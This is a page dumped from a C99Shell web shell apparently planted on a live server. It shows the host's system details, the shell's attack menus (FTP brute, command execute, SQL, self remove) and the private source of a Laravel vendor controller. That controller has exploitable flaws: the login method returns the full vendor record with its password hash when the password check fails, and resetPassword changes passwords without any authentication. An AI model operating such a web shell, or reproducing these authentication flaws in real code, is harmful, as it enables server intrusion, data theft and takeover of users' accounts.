!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/app/Http/Controllers/   drwxr-xr-x
Free 13.32 GB of 57.97 GB (22.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VendorController.php (6.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;
use 
App\Models\Vendor;
use 
App\Models\StoreSettings;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\Facades\Hash;

// use GuzzleHttp\Client;
use DateTime;


class 
VendorController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
//
    
}
    
// get Vendor
    
function index()
    {   

        
// if (count($req->query())===0) {
        //     $categories=Categories::with('sub_Categories')->where("vendor_id",$vendor_id)->where("parent",0)->get();
        //     return response()->json(["data"=>$categories]);
        //     // return json_encode($categories)
        // }else{
        //     $pr= new Categories;
        //     $table = $pr->getTable();
    
        //     $columns  = \Schema::getColumnListing($table);
        //     $categories = Categories::query();
        //     $params = $req->query();
        //     foreach ($params as $key => $value) {
        //         if (in_array($key,$columns,true)) {
        //             if (!empty($value) || $value==0){
        //                 $categories->where($key,$value);
        //             }
        //         }else{
        //             return response()->json(['error' => 'true', 'message' =>"invalid parameter ".$key]);
        //         }
        //     }
        //     $categories=$categories->with('sub_Categories')->where("vendor_id",$vendor_id)->where("parent",0)->get();
        //     return response()->json(["data"=>$categories]); 
        // }
        
return "helllo world";
    }
    
//create new vendor
    
public function create(Request $req)
    {
        
$pr= new Vendor;
        
$pr_table $pr->getTable();
        
$columns_v  \Schema::getColumnListing($pr_table);
        
$ps= new StoreSettings;
        
$pr_table_s $ps->getTable();
        
$columns_s  \Schema::getColumnListing($pr_table_s);
        
$columnsarray_merge($columns_v,$columns_s);
        
$params collect($req->all())->keys();
        foreach (
$params as $key) {
            if (
in_array($key,$columns,true)) {
               continue;
            }else{
                return 
response()->json(['error' => 'true''message' =>"invalid field ".$key]);
            }
        }
        
DB::beginTransaction();
        try {
            
$vendor= new Vendor;
            
// $vendor->id=88000003;
            
$vendor->first_name $req->input('first_name');
            
$vendor->last_name $req->input('last_name');
            
$vendor->phone $req->input('phone');
            
$vendor->email $req->input('email');
            
$vendor->password Hash::make($req->input('password'));
            
$vendor->active 0;
            
$vendor->save();
        } catch (
\Exception $exception) {
            
DB::rollback();
            return 
response()->json(['error' => 'true''message' =>$exception->errorInfo[2]]);
        }
        if (
$vendor) {
            try {
            
$store_settings StoreSettings::create([
                
'store_name' => $req->input('store_name'),
                
'district' => $req->input('district'),
                
'address' => $req->input('address'),
                
'vendor_id' =>$vendor->id,
                
'cod' => $req->input('cod'),
                
'online' => $req->input('online'),
            ]);
            } catch (
\Exception $exception) {
                
DB::rollback();
                return 
response()->json(['error' => 'true''message' =>$exception->errorInfo[2]]);
            }
            
DB::commit();
            
$d = new DateTime();
            
$t=$d->format("ymdHisv");
            
$data=["vendor_id"=>$vendor->id,"_id"=>$t,"store_id"=>$store_settings->id];

            return  
response()->json(['message' => "Vendor Created Successfully","data"=> $data]);
            
        } else {
            
DB::rollback();
            return 
response()->json(['error' => 'true','message' => "Something is wrong please try again"]);
        }
    }
    
// login 
    
public function login(Request $req)
    {
        
$vendor=Vendor::where('phone',$req->input('phone'))->get();
        if (
Hash::check($req->input('password'), $vendor[0]->password)) {
            
// The passwords match...
            
return "done it";
         }
        return 
response()->json($vendor);
    }
    
// update vendor
    
public function update($vendor_id,Request $req)
    {

        
$pr= new Vendor;
        
$pr_table $pr->getTable();
        
$columns  \Schema::getColumnListing($pr_table);
        
$params collect($req->all())->keys();
        foreach (
$params as $key) {
            if (
in_array($key,$columns,true)) {
               continue;
            }else{
                return 
response()->json(['error' => 'true''message' =>"invalid field ".$key]);
            }
        }
        
$vendor Vendor::where('id',$vendor_id)->first();
        if (empty(
$vendor)) {
            return 
response()->json(['error' => 'true''message' =>"Invalid vendor"]);
        }else{
            
$vendor->first_name $req->input('first_name');
            
$vendor->last_name $req->input('last_name');
            
$vendor->phone $req->input('phone');
            
$vendor->email $req->input('email');
            
$ven=$vendor->save();

            if (
$ven) {
                return 
response()->json(['message' => "Vendor Successfully Updated."]);
            }else {
                return 
response()->json(['error' => 'true''message' => "Something is wrong please try again."]);
            }
        }
    }
    public function 
resetPassword($vendor_idRequest $req)
    {   
        
$vendor=Vendor::find($vendor_id);
        
$vendor->passwordHash::make($req->input('password'));
        
$ven=$vendor->save();

        if (
$ven) {
            return 
response()->json(["message" => "Password Updated Successfully"]);
        }else {
            return 
response()->json(['error'=>"true","message" => "Something is wrong please try again"]);
        }
    }
    
// delete categories
    
public function delete($id,Request $req)
    {
        return 
$id;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--